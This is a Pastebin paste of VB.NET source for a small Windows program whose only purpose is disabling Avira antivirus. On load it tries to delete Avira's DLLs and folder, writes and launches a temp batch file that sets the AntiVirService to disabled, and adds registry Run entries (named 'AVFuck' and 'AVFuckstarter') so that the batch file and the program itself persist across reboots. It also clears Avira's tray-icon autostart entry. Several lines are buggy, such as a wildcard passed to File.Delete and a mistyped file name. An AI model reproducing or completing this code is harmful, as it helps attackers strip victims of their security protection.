Advertisement
Guest User

Untitled

a guest
Jun 27th, 2017
64
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.51 KB | None | 0 0
  1. Imports System.IO ' is needed for the stream writer
  2. Public Class Form1
  3.  
  4. Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
  5.  
  6. 'trying to delete. avira dlls in the folder to
  7. Try
  8. IO.File.Delete(Environment.SpecialFolder.Programs & "\avira\antivir desktop\" & "\*.dll*")
  9. Application.DoEvents()
  10. Catch ex As Exception
  11.  
  12. End Try
  13. Try
  14. 'Attempts to delete the folder Avira
  15. IO.Directory.Delete(Environment.SpecialFolder.Programs & "\avira")
  16. Application.DoEvents()
  17. Catch ex As Exception
  18.  
  19. End Try
  20. 'cmd in the tmp folder created works for the kill to Antirservice repays after reboot of the system
  21. Try
  22. Dim swriter = New StreamWriter(Environ("tmp") & "\avira.cmd")
  23. swriter.WriteLine("@echo off")
  24. swriter.WriteLine("sc.exe config AntiVirService start= disabled")
  25. swriter.Close()
  26. 'starts avira.cmd
  27. Process.Start(Environ("tmp") & "\avira.cm")
  28. Catch ex As Exception
  29.  
  30. End Try
  31. 'makes a registry entry for autostart of avira.cmd
  32. Try
  33. Dim regpfad As String = "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
  34. Dim regname As String = "AVFuck"
  35. Dim filepfad As String = Environ("tmp") & "\avira.cmd"
  36.  
  37. My.Computer.Registry.SetValue(regpfad, regname, filepfad, _
  38. Microsoft.Win32.RegistryValueKind.String)
  39. Catch ex As Exception
  40. End Try
  41. Try
  42. 'Deletes the entry for the trayicon of avira
  43. My.Computer.Registry.SetValue("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run", "avira", "", _
  44. Microsoft.Win32.RegistryValueKind.String)
  45. Catch ex As Exception
  46.  
  47. End Try
  48. 'writes an autostart registry entry for the application
  49. Try
  50. Dim regpfaddatei As String = "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
  51. Dim regnamedatei As String = "AVFuckstarter"
  52. Dim filepfaddatei As String = Application.ExecutablePath
  53.  
  54. My.Computer.Registry.SetValue(regpfaddatei, regnamedatei, filepfaddatei, _
  55. Microsoft.Win32.RegistryValueKind.String)
  56. Catch ex As Exception
  57.  
  58. End Try
  59. End
  60. End Sub
  61. End Class
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement